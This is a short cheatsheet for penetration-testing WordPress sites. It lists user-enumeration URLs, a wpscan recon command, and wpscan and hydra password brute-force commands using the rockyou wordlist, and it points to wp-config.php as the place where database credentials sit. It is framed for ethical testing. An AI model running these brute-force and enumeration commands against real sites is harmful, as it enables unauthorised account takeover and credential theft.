

WordPress Penetration Testing Cheatsheet

WHY SHOULD YOU EVEN CARE?

WordPress is the most widely used content management system (CMS) globally.

- It powers **43.6% of all websites**, approximately **501.28 million sites**.
- WordPress dominates the CMS market with a **62% share**, far ahead of competitors.
- With over **30,000 themes** and a massive library of plugins, it's both versatile and highly customizable, but also... highly vulnerable as you'll come to find out!

Its popularity makes it a frequent target for attackers, with common vulnerabilities arising from outdated plugins, weak passwords, and misconfigurations. This cheatsheet provides a streamlined guide for testing and securing WordPress installations.

User Enumeration Techniques

ENUMERATE USERS VIA REST API

Action	Command or URL
Access the REST API endpoint	<code>https://www.example.com/wp-json/wp/v2/users</code>
Notes	Retrieves user data in JSON format, often including usernames.

CHECK USER SITEMAP

Action	Command or URL
Access the User Sitemap	<code>https://www.example.com/wp-sitemap-users-1.xml</code>
Notes	Usernames are sometimes exposed in the sitemap.

GOOD STARTING SCAN WITH WPSCAN

Action	Command
Enumerate users, themes, plugins	<code>wpscan --url http://10.3.3.34:9999 -e vt,tt,u,ap</code>
Notes	Automates recon on WordPress sites, checking for users, vulnerable themes, and plugins.

Brute Forcing Techniques

BRUTEFORCE USERS AND PASSWORDS USING WPSCAN

Action	Command
Bruteforce passwords (auto-discover users)	<code>wpscan --url http://10.3.3.34:9999 --passwords /usr/share/wordlists/rockyou.txt</code>
Target specific usernames	<code>wpscan --url http://10.3.3.34:9999 -U userlist.txt --passwords /usr/share/wordlists/rockyou.txt</code>

HYDRA FOR LOGIN BRUTEFORCE

Action	Command
Brute force WordPress login	<code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.11.1.251 https-post-form '/wplogin.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:S=Location' -V -f -t 50</code>
Notes	This example bruteforces the admin user's passwords.

Configuration File and Sensitive Data

INSPECT WORDPRESS CONFIG FILE

Action	Command or Path
Locate and inspect config file	<code>/var/www/html/wordpress/wp-config.php</code>
Notes	Contains sensitive database credentials and other critical configuration details.

Common Endpoints to Discover Users

OTHER USEFUL ENDPOINTS

Endpoint	Description
<code>/?author=1</code>	Enumerates the user with ID 1.
<code>/wp-login.php</code>	Default login page, often leaks information through error messages.
<code>/xmlrpc.php</code>	Allows remote procedures and can expose system information.
<code>/wp-admin/</code>	Administrative interface; test for open or misconfigured access.
<code>/wp-content/uploads/</code>	Exposes uploaded files and metadata, potentially leaking sensitive information.

Outro

WordPress's widespread use makes it a prime target for attackers. Properly securing it involves frequent updates, strong passwords, and regular vulnerability scans. Use this cheatsheet responsibly to identify and mitigate risks, ensuring your WordPress site stays secure and resilient. Stay ethical and proactive! :)